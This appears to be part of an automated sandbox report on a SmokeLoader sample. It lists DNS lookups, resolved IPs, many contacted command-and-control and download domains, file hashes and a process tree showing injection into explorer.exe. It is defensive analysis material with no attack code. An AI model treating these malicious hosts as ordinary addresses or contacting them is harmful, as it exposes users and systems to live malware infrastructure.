Jan 13, 2022 20:51:10.499171019 CET	192.168.2.5	8.8.8.8	0x69ab	Standard query (0)	goo.su	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:11.517026901 CET	192.168.2.5	8.8.8.8	0xd592	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:11.716371059 CET	192.168.2.5	8.8.8.8	0x5e38	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:11.886979103 CET	192.168.2.5	8.8.8.8	0xcf9b	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:12.179253101 CET	192.168.2.5	8.8.8.8	0xc75c	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:12.409200907 CET	192.168.2.5	8.8.8.8	0xf592	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:12.605907917 CET	192.168.2.5	8.8.8.8	0xd851	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:13.098541021 CET	192.168.2.5	8.8.8.8	0x380a	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:17.349642992 CET	192.168.2.5	8.8.8.8	0x850e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:17.560170889 CET	192.168.2.5	8.8.8.8	0x82bc	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:17.806190968 CET	192.168.2.5	8.8.8.8	0x76d1	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:21.828104019 CET	192.168.2.5	8.8.8.8	0x97ec	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:22.121568918 CET	192.168.2.5	8.8.8.8	0x4f71	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:22.377249956 CET	192.168.2.5	8.8.8.8	0x21c0	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:23.009521008 CET	192.168.2.5	8.8.8.8	0x3bcd	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:24.063586950 CET	192.168.2.5	8.8.8.8	0x82c7	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:24.479244947 CET	192.168.2.5	8.8.8.8	0xf177	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:24.672830105 CET	192.168.2.5	8.8.8.8	0xa949	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:24.874068022 CET	192.168.2.5	8.8.8.8	0x5da8	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.073750973 CET	192.168.2.5	8.8.8.8	0x5f8c	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.267398119 CET	192.168.2.5	8.8.8.8	0x72f6	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.460829020 CET	192.168.2.5	8.8.8.8	0xad22	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.517657995 CET	192.168.2.5	8.8.8.8	0x59eb	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.664927006 CET	192.168.2.5	8.8.8.8	0x2c80	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.866749048 CET	192.168.2.5	8.8.8.8	0x3812	Standard query (0)	transfer.sh	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.920264006 CET	192.168.2.5	8.8.8.8	0xf11	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:28.638899088 CET	192.168.2.5	8.8.8.8	0x23bb	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:29.410271883 CET	192.168.2.5	8.8.8.8	0xfb88	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:29.672091961 CET	192.168.2.5	8.8.8.8	0xdb83	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:29.923193932 CET	192.168.2.5	8.8.8.8	0xc153	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:31.026422977 CET	192.168.2.5	8.8.8.8	0x9964	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:33.084913015 CET	192.168.2.5	8.8.8.8	0xe25a	Standard query (0)	a0621298.xsph.ru	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:39.198669910 CET	192.168.2.5	8.8.8.8	0x60e	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:39.451325893 CET	192.168.2.5	8.8.8.8	0xb836	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:39.708311081 CET	192.168.2.5	8.8.8.8	0xa8ef	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:43.278525114 CET	192.168.2.5	8.8.8.8	0x7de9	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:43.868870974 CET	192.168.2.5	8.8.8.8	0xffbd	Standard query (0)	host-data-coin-11.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:44.177290916 CET	192.168.2.5	8.8.8.8	0x5096	Standard query (0)	data-host-coin-8.com	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:46.916022062 CET	192.168.2.5	8.8.8.8	0x9c6c	Standard query (0)	patmushta.info	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:51.415652037 CET	192.168.2.5	8.8.8.8	0xd24b	Standard query (0)	microsoft-com.mail.protection.outlook.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 13, 2022 20:49:49.973989010 CET	8.8.8.8	192.168.2.5	0x753f	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2022 20:49:51.230057955 CET	8.8.8.8	192.168.2.5	0xc461	No error (0)	prda.aadg.msidentity.com	www.tm.a.prd.aadg.akadns.net		CNAME (Canonical name)	IN (0x0001)
Jan 13, 2022 20:50:14.901438951 CET	8.8.8.8	192.168.2.5	0xfd21	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:15.412342072 CET	8.8.8.8	192.168.2.5	0x67b8	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:15.915755987 CET	8.8.8.8	192.168.2.5	0x5b2a	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:16.388226032 CET	8.8.8.8	192.168.2.5	0x2fbe	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:16.887778044 CET	8.8.8.8	192.168.2.5	0x425a	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:17.367253065 CET	8.8.8.8	192.168.2.5	0x2663	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:18.790960073 CET	8.8.8.8	192.168.2.5	0x3e82	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:18.988770008 CET	8.8.8.8	192.168.2.5	0x6d91	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:19.189316988 CET	8.8.8.8	192.168.2.5	0x407c	No error (0)	data-host-coin-8.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:21.528119087 CET	8.8.8.8	192.168.2.5	0x5049	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:22.031879902 CET	8.8.8.8	192.168.2.5	0x561d	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:22.578578949 CET	8.8.8.8	192.168.2.5	0x87be	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:23.333172083 CET	8.8.8.8	192.168.2.5	0x60cc	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:23.913242102 CET	8.8.8.8	192.168.2.5	0x1fba	No error (0)	privacy-tools-for-you-780.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:27.213608027 CET	8.8.8.8	192.168.2.5	0xba95	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:27.405731916 CET	8.8.8.8	192.168.2.5	0x88f3	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:27.652326107 CET	8.8.8.8	192.168.2.5	0x8aa	No error (0)	unicupload.top		54.38.220.85	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:27.727003098 CET	8.8.8.8	192.168.2.5	0xe57a	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:27.944425106 CET	8.8.8.8	192.168.2.5	0x407f	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:28.157407045 CET	8.8.8.8	192.168.2.5	0x2822	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:28.389689922 CET	8.8.8.8	192.168.2.5	0xd5c8	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:28.585131884 CET	8.8.8.8	192.168.2.5	0xf69b	No error (0)	data-host-coin-8.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:31.579428911 CET	8.8.8.8	192.168.2.5	0xdbc5	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:31.777633905 CET	8.8.8.8	192.168.2.5	0x3417	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:31.980295897 CET	8.8.8.8	192.168.2.5	0xde5c	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:32.195322990 CET	8.8.8.8	192.168.2.5	0xb0e	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:34.620995045 CET	8.8.8.8	192.168.2.5	0x2046	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:34.829580069 CET	8.8.8.8	192.168.2.5	0x8348	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:35.114659071 CET	8.8.8.8	192.168.2.5	0xac98	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:35.356386900 CET	8.8.8.8	192.168.2.5	0xcf3	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:35.356386900 CET	8.8.8.8	192.168.2.5	0xcf3	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:35.356386900 CET	8.8.8.8	192.168.2.5	0xcf3	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:35.356386900 CET	8.8.8.8	192.168.2.5	0xcf3	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:35.356386900 CET	8.8.8.8	192.168.2.5	0xcf3	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:37.159130096 CET	8.8.8.8	192.168.2.5	0xd895	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:37.352848053 CET	8.8.8.8	192.168.2.5	0xcd87	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:37.567598104 CET	8.8.8.8	192.168.2.5	0x69e3	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:54.104259014 CET	8.8.8.8	192.168.2.5	0x2d8f	No error (0)	microsoft-com.mail.protection.outlook.com		52.101.24.0	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:54.104259014 CET	8.8.8.8	192.168.2.5	0x2d8f	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.0	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:54.104259014 CET	8.8.8.8	192.168.2.5	0x2d8f	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.212.0	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:54.104259014 CET	8.8.8.8	192.168.2.5	0x2d8f	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.54.36	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:54.104259014 CET	8.8.8.8	192.168.2.5	0x2d8f	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.1	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:56.640268087 CET	8.8.8.8	192.168.2.5	0x3455	No error (0)	patmushta.info		194.147.84.248	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:59.240576982 CET	8.8.8.8	192.168.2.5	0xb09d	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:59.462568998 CET	8.8.8.8	192.168.2.5	0x552	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:59.711718082 CET	8.8.8.8	192.168.2.5	0xc02b	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:50:59.917193890 CET	8.8.8.8	192.168.2.5	0x7c6e	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:00.127841949 CET	8.8.8.8	192.168.2.5	0x89a6	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:01.473987103 CET	8.8.8.8	192.168.2.5	0xf67f	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:02.854114056 CET	8.8.8.8	192.168.2.5	0x1521	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:03.077233076 CET	8.8.8.8	192.168.2.5	0x419	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:03.299500942 CET	8.8.8.8	192.168.2.5	0xe98	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:03.521477938 CET	8.8.8.8	192.168.2.5	0xc12	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:03.733238935 CET	8.8.8.8	192.168.2.5	0xd038	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:04.255460978 CET	8.8.8.8	192.168.2.5	0x8f25	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:04.479167938 CET	8.8.8.8	192.168.2.5	0xace9	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:04.675826073 CET	8.8.8.8	192.168.2.5	0x92b4	No error (0)	data-host-coin-8.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:10.068919897 CET	8.8.8.8	192.168.2.5	0xed9	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:10.274704933 CET	8.8.8.8	192.168.2.5	0x3059	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:10.521966934 CET	8.8.8.8	192.168.2.5	0x69ab	No error (0)	goo.su		104.21.38.221	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:10.521966934 CET	8.8.8.8	192.168.2.5	0x69ab	No error (0)	goo.su		172.67.139.105	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:11.536814928 CET	8.8.8.8	192.168.2.5	0xd592	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:11.735837936 CET	8.8.8.8	192.168.2.5	0x5e38	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:11.904275894 CET	8.8.8.8	192.168.2.5	0xcf9b	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:12.199425936 CET	8.8.8.8	192.168.2.5	0xc75c	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:12.429064035 CET	8.8.8.8	192.168.2.5	0xf592	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:12.892231941 CET	8.8.8.8	192.168.2.5	0xd851	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:13.118015051 CET	8.8.8.8	192.168.2.5	0x380a	No error (0)	data-host-coin-8.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:17.369241953 CET	8.8.8.8	192.168.2.5	0x850e	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:17.577545881 CET	8.8.8.8	192.168.2.5	0x82bc	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:17.825061083 CET	8.8.8.8	192.168.2.5	0x76d1	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:21.847376108 CET	8.8.8.8	192.168.2.5	0x97ec	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:22.140321970 CET	8.8.8.8	192.168.2.5	0x4f71	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:22.698045015 CET	8.8.8.8	192.168.2.5	0x21c0	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:23.031286001 CET	8.8.8.8	192.168.2.5	0x3bcd	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:24.175137997 CET	8.8.8.8	192.168.2.5	0x82c7	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:24.498091936 CET	8.8.8.8	192.168.2.5	0xf177	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:24.692013979 CET	8.8.8.8	192.168.2.5	0xa949	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:24.891491890 CET	8.8.8.8	192.168.2.5	0x5da8	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.090441942 CET	8.8.8.8	192.168.2.5	0x5f8c	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.284733057 CET	8.8.8.8	192.168.2.5	0x72f6	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.480112076 CET	8.8.8.8	192.168.2.5	0xad22	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.540070057 CET	8.8.8.8	192.168.2.5	0x59eb	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.683645010 CET	8.8.8.8	192.168.2.5	0x2c80	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.888603926 CET	8.8.8.8	192.168.2.5	0x3812	No error (0)	transfer.sh		144.76.136.153	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:25.939457893 CET	8.8.8.8	192.168.2.5	0xf11	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:28.658353090 CET	8.8.8.8	192.168.2.5	0x23bb	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:29.429544926 CET	8.8.8.8	192.168.2.5	0xfb88	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:29.689757109 CET	8.8.8.8	192.168.2.5	0xdb83	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:29.940614939 CET	8.8.8.8	192.168.2.5	0xc153	No error (0)	data-host-coin-8.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:31.048644066 CET	8.8.8.8	192.168.2.5	0x9964	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:31.048644066 CET	8.8.8.8	192.168.2.5	0x9964	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:31.048644066 CET	8.8.8.8	192.168.2.5	0x9964	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:31.048644066 CET	8.8.8.8	192.168.2.5	0x9964	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:31.048644066 CET	8.8.8.8	192.168.2.5	0x9964	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:33.104171038 CET	8.8.8.8	192.168.2.5	0xe25a	No error (0)	a0621298.xsph.ru		141.8.194.74	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:39.223459959 CET	8.8.8.8	192.168.2.5	0x60e	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:39.470139027 CET	8.8.8.8	192.168.2.5	0xb836	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:40.018325090 CET	8.8.8.8	192.168.2.5	0xa8ef	No error (0)	data-host-coin-8.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:43.627818108 CET	8.8.8.8	192.168.2.5	0x7de9	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:43.888562918 CET	8.8.8.8	192.168.2.5	0xffbd	No error (0)	host-data-coin-11.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:44.195440054 CET	8.8.8.8	192.168.2.5	0x5096	No error (0)	data-host-coin-8.com		45.135.233.182	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:47.260868073 CET	8.8.8.8	192.168.2.5	0x9c6c	No error (0)	patmushta.info		194.147.84.248	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:51.442142963 CET	8.8.8.8	192.168.2.5	0xd24b	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.1	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:51.442142963 CET	8.8.8.8	192.168.2.5	0xd24b	No error (0)	microsoft-com.mail.protection.outlook.com		104.47.54.36	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:51.442142963 CET	8.8.8.8	192.168.2.5	0xd24b	No error (0)	microsoft-com.mail.protection.outlook.com		52.101.24.0	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:51.442142963 CET	8.8.8.8	192.168.2.5	0xd24b	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.207.0	A (IP address)	IN (0x0001)
Jan 13, 2022 20:51:51.442142963 CET	8.8.8.8	192.168.2.5	0xd24b	No error (0)	microsoft-com.mail.protection.outlook.com		40.93.212.0	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

hudnwo.net

host-data-coin-11.com

imfaq.com

jjxcvqdtu.com

fbpbiuf.net

ubqgnsref.net

dencntiwom.org

facsdjlrhe.org

nbopqwwil.org

data-host-coin-8.com

bksuhny.net

ncekou.com

mlrqq.org

mkylelnvhx.org

privacy-tools-for-you-780.com

uasbnlg.com

djtirwiie.net

unicupload.top

ruexdakex.net

obxaeg.net

ocenwxcoy.net

cbnhk.net

qqkskcahhd.com

crthr.com

kjtyikafjr.org

gcluxyujw.net

185.7.214.171:8080

bsyjr.com

uvbrfosd.org

phljuvuic.com

mtege.com

hsqeovy.org

ffohm.org

uwxadets.net

owkwjgjx.org

ujflcd.org

wwwrwr.net

rffjdwq.org

hwjxdg.com

hrknr.net

ffqdri.net

rsnegictry.org

jeltu.com

kdpxgri.net

fisxwlhs.org

hfldhq.org

ontfrhif.com

bbrscm.org

rsccxqyvj.org

jhmgibx.org

xcyxdpo.com

bmitrqru.com

yomhbwinpp.net

jowhwjm.org

pedgrinq.com

a0621298.xsph.ru

pfdipnd.com

bhcnfrdygt.net

lepwe.net

wlbpl.net

ebglpbq.net

ldoxvunj.com

arxpt.com

wajww.org

bitqeg.net

rqhabfnn.net

hjilsxiyi.com

lvexyr.org

rfqgywpmj.net

nkjumxwsc.org

wnfuahwrra.com

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: emPJndhuvA.exe PID: 3352 Parent PID: 5996

General

Start time:	20:49:29
Start date:	13/01/2022
Path:	C:\Users\user\Desktop\emPJndhuvA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\emPJndhuvA.exe"
Imagebase:	0x400000
File size:	283648 bytes
MD5 hash:	A7444553F8A8FE2702B6FD48008D6605
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Chronological Activities

Analysis Process: emPJndhuvA.exe PID: 4160 Parent PID: 3352

General

Start time:	20:49:32
Start date:	13/01/2022
Path:	C:\Users\user\Desktop\emPJndhuvA.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\emPJndhuvA.exe"
Imagebase:	0x400000
File size:	283648 bytes
MD5 hash:	A7444553F8A8FE2702B6FD48008D6605
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.310069625.0000000001F51000.00000004.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000001.00000002.309813053.0000000000530000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: svchost.exe PID: 4372 Parent PID: 556

General

Start time:	20:49:38
Start date:	13/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: explorer.exe PID: 3472 Parent PID: 4160

General

Start time:	20:49:39
Start date:	13/01/2022
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff693d90000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000003.00000000.295057363.0000000003A61000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 4596 Parent PID: 556

General

Start time:	20:49:48
Start date:	13/01/2022
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

